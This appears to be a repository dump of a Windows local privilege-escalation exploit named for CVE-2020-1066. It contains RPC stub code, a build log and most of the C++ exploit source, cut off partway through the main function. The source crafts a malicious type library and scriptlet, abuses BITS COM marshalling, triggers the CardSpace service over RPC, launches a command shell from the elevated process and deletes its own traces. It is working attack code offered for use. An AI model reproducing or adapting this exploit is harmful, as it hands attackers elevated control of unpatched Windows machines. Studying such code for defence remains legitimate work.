*/ 0x40, /* Corr desc: constant, val=101 */ 0x0, /* 0 */ /* 28 */ NdrFcShort( 0x65 ), /* 101 */ /* 30 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ /* 32 */ 0x1b, /* FC_CARRAY */ 0x0, /* 0 */ /* 34 */ NdrFcShort( 0x1 ), /* 1 */ /* 36 */ 0x18, /* Corr desc: field pointer, FC_LONG */ 0x0, /* */ /* 38 */ NdrFcShort( 0x4 ), /* 4 */ /* 40 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ /* 42 */ 0x2, /* FC_CHAR */ 0x5b, /* FC_END */ /* 44 */ 0x1a, /* FC_BOGUS_STRUCT */ 0x3, /* 3 */ /* 46 */ NdrFcShort( 0xc ), /* 12 */ /* 48 */ NdrFcShort( 0x0 ), /* 0 */ /* 50 */ NdrFcShort( 0xa ), /* Offset= 10 (60) */ /* 52 */ 0x36, /* FC_POINTER */ 0x4c, /* FC_EMBEDDED_COMPLEX */ /* 54 */ 0x0, /* 0 */ NdrFcShort( 0xffd7 ), /* Offset= -41 (14) */ 0x36, /* FC_POINTER */ /* 58 */ 0x5c, /* FC_PAD */ 0x5b, /* FC_END */ /* 60 */ 0x12, 0x0, /* FC_UP */ /* 62 */ NdrFcShort( 0xffda ), /* Offset= -38 (24) */ /* 64 */ 0x12, 0x0, /* FC_UP */ /* 66 */ NdrFcShort( 0xffde ), /* Offset= -34 (32) */ /* 68 */ 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ /* 70 */ NdrFcShort( 0x2 ), /* Offset= 2 (72) */ /* 72 */ 0x12, 0x0, /* FC_UP */ /* 74 */ NdrFcShort( 0x18 ), /* Offset= 24 (98) */ /* 76 */ 0xb7, /* FC_RANGE */ 0x8, /* 8 */ /* 78 */ NdrFcLong( 0x0 ), /* 0 */ /* 82 */ NdrFcLong( 0x1400000 ), /* 20971520 */ /* 86 */ 0x1b, /* FC_CARRAY */ 0x0, /* 0 */ /* 88 */ NdrFcShort( 0x1 ), /* 1 */ /* 90 */ 0x18, /* Corr desc: field pointer, FC_LONG */ 0x0, /* */ /* 92 */ NdrFcShort( 0x0 ), /* 0 */ /* 94 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ /* 96 */ 0x2, /* FC_CHAR */ 0x5b, /* FC_END */ /* 98 */ 0x1a, /* FC_BOGUS_STRUCT */ 0x3, /* 3 */ /* 100 */ NdrFcShort( 0x8 ), /* 8 */ /* 102 */ NdrFcShort( 0x0 ), /* 0 */ /* 104 */ NdrFcShort( 0x8 ), /* Offset= 8 (112) */ /* 106 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ 0x0, /* 0 */ /* 108 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (76) */ /* 110 */ 0x36, /* FC_POINTER */ 0x5b, /* FC_END */ /* 112 */ 0x12, 0x0, /* FC_UP */ /* 114 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (86) */ /* 116 */ 0x11, 0x4, /* FC_RP [alloced_on_stack] */ /* 118 */ NdrFcShort( 0x2 ), /* Offset= 2 (120) */ /* 120 */ 0x30, /* FC_BIND_CONTEXT */ 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */ /* 122 */ 0x0, /* 0 */ 0x0, /* 0 */ 0x0 } }; static const NDR_RUNDOWN RundownRoutines[] = { 0 }; static const unsigned short DefaultIfName_FormatStringOffsetTable[] = { 0, 40, 86 }; static const MIDL_STUB_DESC DefaultIfName_StubDesc = { (void *)& DefaultIfName___RpcServerInterface, MIDL_user_allocate, MIDL_user_free, 0, RundownRoutines, 0, 0, 0, resolver__MIDL_TypeFormatString.Format, 1, /* -error bounds_check flag */ 0x50002, /* Ndr library version */ 0, 0x800025b, /* MIDL Version 8.0.603 */ 0, 0, 0, /* notify & notify_flag routine table */ 0x1, /* MIDL flag */ 0, /* cs routines */ 0, /* proxy/server info */ 0 }; static const RPC_DISPATCH_FUNCTION DefaultIfName_table[] = { NdrServerCall2, NdrServerCall2, NdrServerCall2, 0 }; static const RPC_DISPATCH_TABLE DefaultIfName_v1_0_DispatchTable = { 3, (RPC_DISPATCH_FUNCTION*)DefaultIfName_table }; static const SERVER_ROUTINE DefaultIfName_ServerRoutineTable[] = { (SERVER_ROUTINE)Proc0_RPCClientBindToService, (SERVER_ROUTINE)Proc1_RPCDispatchClientRequest, (SERVER_ROUTINE)Proc2_RPCDispatchClientUIRequest }; static const MIDL_SERVER_INFO DefaultIfName_ServerInfo = { &DefaultIfName_StubDesc, DefaultIfName_ServerRoutineTable, resolver__MIDL_ProcFormatString.Format, DefaultIfName_FormatStringOffsetTable, 0, 0, 0, 0}; #pragma optimize("", on ) #if _MSC_VER >= 1200 #pragma warning(pop) #endif #endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */ ================================================ FILE: MyComEop/Debug/MyComEop.log ================================================ 生成启动时间为 2020/5/2 16:13:44。 1>项目“E:\git\CVE-2020-1066\CVE-2020-1066-EXP\MyComEop\MyComEop.vcxproj”在节点 2 上(Build 个目标)。 1>ClCompile: C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _CONSOLE /D _LIB /D _X86 /D _CRT_SECURE_NO_WARNINGS /D MSFROTTENPOTATO_EXPORTS /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MTd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Debug\\" /Fd"Debug\vc120.pdb" /Gd /TP /analyze- /errorReport:prompt MyComEop.cpp MyComEop.cpp 1>e:\git\cve-2020-1066\cve-2020-1066-exp\mycomeop\stdafx.h(53): warning C4200: 使用了非标准扩展 : 结构/联合中的零大小数组 当 UDT 包含大小为零的数组时,无法生成复制构造函数或副本赋值运算符 1>e:\git\cve-2020-1066\cve-2020-1066-exp\mycomeop\mycomeop.cpp(881): warning C4101: “v5”: 未引用的局部变量 1>e:\git\cve-2020-1066\cve-2020-1066-exp\mycomeop\mycomeop.cpp(950): warning C4101: “err”: 未引用的局部变量 Link: C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"E:\git\CVE-2020-1066\CVE-2020-1066-EXP\Build\MyComEop.exe" /INCREMENTAL /NOLOGO secur32.lib Credui.lib Rpcrt4.lib "E:\git\CVE-2020-1066\CVE-2020-1066-EXP\Build\CommonUtils.lib" /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /manifestinput:"C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\Include\Manifest\dpiaware.manifest" /DEBUG /PDB:"E:\git\CVE-2020-1066\CVE-2020-1066-EXP\Build\MyComEop.pdb" /SUBSYSTEM:CONSOLE /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"E:\git\CVE-2020-1066\CVE-2020-1066-EXP\Build\MyComEop.lib" /MACHINE:X86 Debug\MyComEop.res Debug\resolver_c.obj Debug\MyComEop.obj Debug\stdafx.obj MyComEop.vcxproj -> E:\git\CVE-2020-1066\CVE-2020-1066-EXP\Build\MyComEop.exe 1>已完成生成项目“E:\git\CVE-2020-1066\CVE-2020-1066-EXP\MyComEop\MyComEop.vcxproj”(Build 个目标)的操作。 生成成功。 已用时间 00:00:02.33 ================================================ FILE: MyComEop/Debug/MyComEop.tlog/MyComEop.lastbuildstate ================================================ #TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit Debug|Win32|E:\git\CVE-2020-1066\CVE-2020-1066-EXP\| ================================================ FILE: MyComEop/MyComEop.cpp ================================================  #define RPC_USE_NATIVE_WCHAR #include "stdafx.h" #include #include #include "../MyComDefine/resolver_h.h" #include "../CommonUtils/CommonUtils.h" #include "../CommonUtils/ReparsePoint.h" #include "../CommonUtils/FileSymlink.h" #define LEN 1024 extern "C" handle_t hBinding = NULL; static IID IID_InterfaceTemp; static IID TypeLib_InterfaceTemp; static wchar_t g_cmdline[LEN]; static wchar_t g_dllPathBak[LEN]; static wchar_t g_dllPath[LEN]; static BSTR CleanUpFileList[6] = { L"System.EnterpriseServices.tlb", L"System.EnterpriseServices.tlb.bak", L"run.sct", L"CardSpace.db", L"CardSpace.db.atomic", L"CardSpaceSP2.db" }; class SafeScopedHandle { HANDLE _h; public: SafeScopedHandle() : _h(nullptr) { } SafeScopedHandle(SafeScopedHandle& h) { _h = h._h; h._h = nullptr; } SafeScopedHandle(SafeScopedHandle&& h) { _h = h._h; h._h = nullptr; } ~SafeScopedHandle() { if (!invalid()) { CloseHandle(_h); _h = nullptr; } } bool invalid() { return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE); } void set(HANDLE h) { _h = h; } HANDLE get() { return _h; } HANDLE* ptr() { return &_h; } }; struct THREAD_PARM { HANDLE Reader; HANDLE Writer; }; DWORD WINAPI ThreadProc(LPVOID lpParam){ BYTE b[1030]; DWORD d = 0; THREAD_PARM *tp = (THREAD_PARM*)lpParam; while (ReadFile(tp->Reader, b, 1024, &d, 0)) { WriteFile(tp->Writer, b, d, &d, 0); } return 0; } static bstr_t IIDToBSTR(REFIID riid) { LPOLESTR str; bstr_t ret = "Unknown"; if (SUCCEEDED(StringFromIID(riid, &str))) { ret = str; CoTaskMemFree(str); } return ret; } _COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); _COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); bstr_t GetSystemDrive() { WCHAR windows_dir[MAX_PATH] = { 0 }; GetWindowsDirectory(windows_dir, MAX_PATH); windows_dir[2] = 0; return windows_dir; } bstr_t GetDeviceFromPath(LPCWSTR lpPath) { WCHAR drive[3] = { 0 }; drive[0] = lpPath[0]; drive[1] = lpPath[1]; drive[2] = 0; WCHAR device_name[MAX_PATH] = { 0 }; if (QueryDosDevice(drive, device_name, MAX_PATH)) { return device_name; } else { fflush(stdout); printf("[+][x] Error getting device for %ls\n", lpPath); exit(1); } } bstr_t GetSystemDevice() { return GetDeviceFromPath(GetSystemDrive()); } bstr_t GetExe() { WCHAR curr_path[MAX_PATH] = { 0 }; GetModuleFileName(nullptr, curr_path, MAX_PATH); return curr_path; } bstr_t GetExeDir() { WCHAR curr_path[MAX_PATH] = { 0 }; GetModuleFileName(nullptr, curr_path, MAX_PATH); PathRemoveFileSpec(curr_path); return curr_path; } bstr_t GetCurrentPath() { bstr_t curr_path = GetExeDir(); bstr_t ret = GetDeviceFromPath(curr_path); ret += &curr_path.GetBSTR()[2]; return ret; } static HRESULT Check(HRESULT hr) { if (FAILED(hr)) { throw _com_error(hr); } return hr; } // {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0} static const GUID IID_BaseInterface = { 0xd487789c, 0x32a3, 0x4e22, { 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } }; // {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02} static const GUID TypeLib_BaseInterface = { 0x6c6c9f33, 0xae88, 0x4ec2, { 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } }; GUID TypeLib_Tapi3 = { 0x21d6d480, 0xa88b, 0x11d0, { 0x83, 0xdd, 0x00, 0xaa, 0x00, 0x3c, 0xca, 0xbd } }; void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid) { DeleteFile(filename); ICreateTypeLib2Ptr tlb; Check(CreateTypeLib2(SYS_WIN32, filename, &tlb)); //Check(CreateTypeLib2(SYS_WIN64, filename, &tlb)); tlb->SetGuid(typelib_guid); ITypeInfoPtr ref_type_info; Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info)); ICreateTypeInfoPtr create_info; Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info)); Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION)); HREFTYPE ref_type; Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type)); Check(create_info->AddImplType(0, ref_type)); Check(create_info->SetGuid(iid)); Check(tlb->SaveAllChanges()); } std::vector ReadFile(bstr_t path) { SafeScopedHandle hFile; hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr)); if (hFile.invalid()) { throw _com_error(E_FAIL); } DWORD size = GetFileSize(hFile.get(), nullptr); std::vector ret(size); if (size > 0) { DWORD bytes_read; if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size) { throw _com_error(E_FAIL); } } return ret; } void WriteFile(bstr_t path, const std::vector data) { SafeScopedHandle hFile; hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr)); if (hFile.invalid()) { throw _com_error(E_FAIL); } if (data.size() > 0) { DWORD bytes_written; if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size()) { throw _com_error(E_FAIL); } } } void WriteFile(bstr_t path, const char* data) { const BYTE* bytes = reinterpret_cast(data); std::vector data_buf(bytes, bytes + strlen(data)); WriteFile(path, data_buf); } void BuildTypeLibs(LPCSTR script_path, bstr_t if_name, bstr_t target_tlb) { try{ ITypeLibPtr stdole2; Check(LoadTypeLib(L"stdole2.tlb", &stdole2)); fflush(stdout); unsigned int len = strlen(script_path); bstr_t buf = GetExeDir() + L"\\"; for (unsigned int i = 0; i < len; ++i) { buf += L"A"; } Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch); ITypeLib* abc; Check(LoadTypeLib(buf, &abc)); bstr_t built_tlb = GetExeDir() + L"\\output.tlb"; Create(built_tlb, if_name, TypeLib_InterfaceTemp, IID_InterfaceTemp, abc, IID_BaseInterface); std::vector tlb_data = ReadFile(built_tlb); for (size_t i = 0; i < tlb_data.size() - len; ++i) { bool found = true; for (unsigned int j = 0; j < len; j++) { if (tlb_data[i + j] != 'A') { found = false; } } if (found) { fflush(stdout); printf("[+]Typelib:%s,%ls,%ls \n", script_path, if_name.GetBSTR(), IIDToBSTR(TypeLib_InterfaceTemp).GetBSTR()); memcpy(&tlb_data[i], script_path, len); break; } } WriteFile(target_tlb, tlb_data); abc->Release(); DeleteFile(buf); DeleteFile(built_tlb); } catch (const _com_error& err) { printf("[+]Error BuildT ypeLibs: %ls\n", err.ErrorMessage()); } } const wchar_t x[] = L"ABC"; const wchar_t scriptlet_start[] = L"\r\n\r\n\r\n" L"\r\n"\ L"\r\n"\ L"\r\n"\ L"\r\n"\ L"\r\n"; bstr_t CreateScriptletFile() { bstr_t script_file = GetExeDir() + L"\\run.sct"; bstr_t script_data = scriptlet_start; bstr_t exe_file = GetExe(); wchar_t* p = exe_file; while (*p) { if (*p == '\\') { *p = '/'; } p++; } DWORD session_id; ProcessIdToSessionId(GetCurrentProcessId(), &session_id); WCHAR session_str[16]; StringCchPrintf(session_str, _countof(session_str), L"%d", session_id); script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end; WriteFile(script_file, script_data); return script_file; } class CMarshaller : public IMarshal { LONG _ref_count; IUnknown * _unk; ~CMarshaller() {} public: CMarshaller(IUnknown * unk) : _ref_count(1) { _unk = unk; } virtual HRESULT STDMETHODCALLTYPE QueryInterface( /* [in] */ REFIID riid, /* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject) { *ppvObject = nullptr; //printf("[+]QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); if (riid == IID_IUnknown) { *ppvObject = this; } else if (riid == IID_IMarshal) { *ppvObject = static_cast(this); } else { return E_NOINTERFACE; } //printf("[+]Queried Success: %p\n", *ppvObject); ((IUnknown *)*ppvObject)->AddRef(); return S_OK; } virtual ULONG STDMETHODCALLTYPE AddRef(void) { //printf("[+]AddRef: %d\n", _ref_count); return InterlockedIncrement(&_ref_count); } virtual ULONG STDMETHODCALLTYPE Release(void) { //printf("[+]Release: %d\n", _ref_count); ULONG ret = InterlockedDecrement(&_ref_count); if (ret == 0) { printf("[+]Release object %p\n", this); delete this; } return ret; } virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ CLSID *pCid) { GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; *pCid = CLSID_AggStdMarshal2; //printf("[+]GetUnmarshalClass: %ls %p\n", IIDToBSTR((REFIID)*pCid).GetBSTR(), this); return S_OK; } virtual HRESULT STDMETHODCALLTYPE MarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags) { IStorage* stg; ILockBytes* lb; CreateILockBytesOnHGlobal(nullptr, TRUE, &lb); StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); ULONG cbRead; ULONG cbWrite; IStreamPtr pStream = nullptr; HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream); LARGE_INTEGER dlibMove = { 0 }; ULARGE_INTEGER plibNewPosition; hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast(stg), dwDestContext, pvDestContext, mshlflags); OBJREF* headerObjRef = (OBJREF*)malloc(1000); hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition); hr = pStream->Read(headerObjRef, 1000, &cbRead); printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceTemp).GetBSTR(), this); headerObjRef->iid = IID_InterfaceTemp; hr = pStm->Write(headerObjRef, cbRead, &cbWrite); return hr; } virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ DWORD *pSize) { *pSize = 1024; return S_OK; } virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][out] */ _Outptr_ void **ppv) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData( /* [annotation][unique][in] */ _In_ IStream *pStm) { return S_OK; } virtual HRESULT STDMETHODCALLTYPE DisconnectObject( /* [annotation][in] */ _In_ DWORD dwReserved) { return S_OK; } }; class FakeObject : public IBackgroundCopyCallback2, public IPersist { HANDLE m_ptoken; LONG m_lRefCount; IUnknown *_umk; ~FakeObject() {}; public: //Constructor, Destructor FakeObject(IUnknown *umk) { _umk = umk; m_lRefCount = 1; } //IUnknown HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) { //printf("[+]QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); if (riid == __uuidof(IUnknown)) { printf("[+]Query for IUnknown\n"); *ppvObj = this; } else if (riid == __uuidof(IBackgroundCopyCallback2)) { printf("[+]Query for IBackgroundCopyCallback2\n"); } else if (riid == __uuidof(IBackgroundCopyCallback)) { printf("[+]Query for IBackgroundCopyCallback\n"); } else if (riid == __uuidof(IPersist)) { printf("[+]Query for IPersist\n"); *ppvObj = static_cast(this); //*ppvObj = _unk2; } else if (riid == IID_IMarshal) { printf("[+]Query for IID_IMarshal\n"); //*ppvObj = static_cast(this); *ppvObj = NULL; return E_NOINTERFACE; } else { printf("[+]Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); *ppvObj = NULL; return E_NOINTERFACE; } ((IUnknown *)*ppvObj)->AddRef(); return NOERROR; } ULONG __stdcall AddRef() { return InterlockedIncrement(&m_lRefCount); } ULONG __stdcall Release() { ULONG ulCount = InterlockedDecrement(&m_lRefCount); if (0 == ulCount) { delete this; } return ulCount; } virtual HRESULT STDMETHODCALLTYPE JobTransferred( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob) { printf("[+]JobTransferred\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE JobError( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ __RPC__in_opt IBackgroundCopyError *pError) { printf("[+]JobError\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE JobModification( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ DWORD dwReserved) { printf("[+]JobModification\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE FileTransferred( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile) { printf("[+]FileTransferred\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE GetClassID( /* [out] */ __RPC__out CLSID *pClassID) { printf("[+]GetClassID\n"); *pClassID = GUID_NULL; return S_OK; } }; _COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs)); void TestBits(HANDLE hEvent) { IBackgroundCopyManagerPtr pQueueMgr; IID CLSID_BackgroundCopyManager; IID IID_IBackgroundCopyManager; CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager); CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager); HRESULT hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL, CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr); IUnknown * pOuter = new CMarshaller(static_cast(new FakeObject(nullptr))); IUnknown * pInner; CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner); IBackgroundCopyJobPtr pJob; GUID guidJob; IEnumBackgroundCopyJobsPtr enumjobs; hr = pQueueMgr->EnumJobs(0, &enumjobs); if (SUCCEEDED(hr)) { IBackgroundCopyJob* currjob; ULONG fetched = 0; while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1)) { LPWSTR lpStr; if (SUCCEEDED(currjob->GetDisplayName(&lpStr))) { if (wcscmp(lpStr, L"BitsAuthSample") == 0) { CoTaskMemFree(lpStr); currjob->Cancel(); currjob->Release(); break; } } currjob->Release(); } } pQueueMgr->CreateJob(L"BitsAuthSample", BG_JOB_TYPE_DOWNLOAD, &guidJob, &pJob); IUnknownPtr pNotify; pNotify.Attach(new CMarshaller(pInner)); { HRESULT hr = pJob->SetNotifyInterface(pNotify); printf("[+]Test Background Intelligent Transfer Service Result: %08X\n", hr); } if (pJob) { pJob->Cancel(); } //printf("[+]Done\n"); SetEvent(hEvent); } BOOL DirectoryListCleanUp(BSTR Path, BSTR ExeName) { if (!PathIsDirectoryW(Path)) { return FALSE; } WIN32_FIND_DATAW FindData; HANDLE hError; BSTR FilePathName = (BSTR)malloc(LEN); // 构造路径 bstr_t FullPathName; wcscpy(FilePathName, Path); wcscat(FilePathName, L"\\*.*"); hError = FindFirstFile(FilePathName, &FindData); if (hError == INVALID_HANDLE_VALUE) { //printf("[+]Enumerating %ls Failed Try To Skip, code: %d,error: %d\n", FilePathName, GetLastError(), hError); return 0; } while (::FindNextFile(hError, &FindData)) { // 过虑.和.. if (_wcsicmp(FindData.cFileName, L".") == 0 || _wcsicmp(FindData.cFileName, L"..") == 0) { continue; } FullPathName = bstr_t(Path) + "\\" + FindData.cFileName; // 构造完整路径 if (_wcsicmp(ExeName, FindData.cFileName) != 0) { //printf("%ls\n", FullPathName.GetBSTR()); for (int i = 0; i < 6;i++) { if (_wcsicmp(CleanUpFileList[i], FindData.cFileName) == 0) { DeleteFile(FullPathName); } } } //wsprintf(FullPathName, L"%s\\%s", Path, FindData.cFileName); //FileCount++; // 输出本级的文件 if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { DirectoryListCleanUp(FullPathName, ExeName); } } return FALSE; } extern "C" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len) { return(HeapAlloc(GetProcessHeap(), 0, len)); } extern "C" void __RPC_USER midl_user_free(void __RPC_FAR * ptr) { HeapFree(GetProcessHeap(), 0, ptr); } BOOL StartConnectingService() { WCHAR* svcName = L"idsvc"; SC_HANDLE schSCM; SC_HANDLE schSvc; SERVICE_STATUS ServiceStatus; schSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (NULL == schSCM) { printf("Failed OpenSCManager: %d\n", GetLastError()); return FALSE; } schSvc = OpenService(schSCM, svcName, SERVICE_START | SERVICE_QUERY_STATUS); if (NULL == schSvc) { wprintf(L"Failed OpenService %s: %d\n", svcName, GetLastError()); return FALSE; } QueryServiceStatus(schSvc, &ServiceStatus); if (ServiceStatus.dwCurrentState == SERVICE_RUNNING || ServiceStatus.dwCurrentState == SERVICE_PAUSED) { wprintf(L"ServiceStatus Already Started %s: %d\n", svcName, GetLastError()); CloseServiceHandle(schSvc); CloseServiceHandle(schSCM); return TRUE; } if (!StartService(schSvc, 0, NULL)) { wprintf(L"Failed Starting %s: %d\n", svcName, GetLastError()); return FALSE; } CloseServiceHandle(schSvc); CloseServiceHandle(schSCM); Sleep(1000); wprintf(L"ServiceStatus New started %ls: %d\n", svcName, GetLastError()); return TRUE; } BOOL StartRpcService() { RPC_STATUS status; unsigned int cMinCalls = 1; RPC_BINDING_HANDLE v5; RPC_SECURITY_QOS SecurityQOS = {}; RPC_WSTR StringBinding = nullptr; if (StartConnectingService()) { status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding); if (status){ printf("RpcStringBindingComposeW Failed:%d\n", status); return(status); } status = RpcBindingFromStringBindingW(StringBinding, &hBinding); RpcStringFreeW(&StringBinding); if (status){ printf("RpcBindingFromStringBindingW Failed:%d\n", status); return(status); } SecurityQOS.Version = 1; SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE; SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT; SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC; status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS); if (status){ printf("RpcBindingSetAuthInfoExW Failed:%d\n", status); return(status); } status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec); if (status){ printf("RpcEpResolveBinding Failed:%d\n", status); return(status); } } else { printf("Start Connecting Windows Cardspace Service Failed"); return 0; } return 0; } BOOL RunRpcService() { RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest)); req->Type = L"ManageRequest"; req->Length = 0; req->Data = 0; RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse)); UINT32* ctx = 0; long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx); printf("Proc0_RPCClientBindToService :%d\n", ret); ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep); printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret); return 0; } void CreateNewProcess(const wchar_t* session) { try { ShellExecuteW(NULL, NULL, L"C:\\Windows\\System32\\bitsadmin.exe", L"/reset /allusers", NULL, SW_HIDE); } catch (const _com_error& err) { } bstr_t exeDir = GetExeDir(); bstr_t dllPathBak = exeDir + L"\\" + PathFindFileName(g_dllPath) + ".bak"; wcscpy(g_dllPathBak, dllPathBak.GetBSTR()); bstr_t exeName = PathFindFileName(GetExe()); //printf("[+][Info] Restoring BackUp dll Done \n"); CopyFileW(g_dllPathBak, g_dllPath, false); DirectoryListCleanUp(exeDir, exeName); DWORD session_id = wcstoul(session, nullptr, 0); SafeScopedHandle token; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr())) { throw _com_error(E_FAIL); } SafeScopedHandle new_token; if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr())) { throw _com_error(E_FAIL); } SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id)); STARTUPINFO start_info = {}; start_info.cb = sizeof(start_info); start_info.lpDesktop = L"WinSta0\\Default"; PROCESS_INFORMATION proc_info; WCHAR cmdline[] = L"cmd.exe"; if (CreateProcessAsUser(new_token.get(), nullptr, cmdline, nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info)) { CloseHandle(proc_info.hProcess); CloseHandle(proc_info.hThread); } } int _tmain(int argc, _TCHAR* argv[]) { try { printf("[+] For Run CMD Directly: MyComEop.exe \n"); printf("[+] For Test File Write : MyComEop.exe \"SourceFile\" \"DestinationFile\" \n"); //system("pause"); BSTR dllPath = L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.EnterpriseServices.tlb"; BSTR if_name = (BSTR)malloc(LEN); BSTR user_name = (BSTR)malloc(LEN); DWORD usernamelen = 100; bstr_t exdir = GetExeDir(); 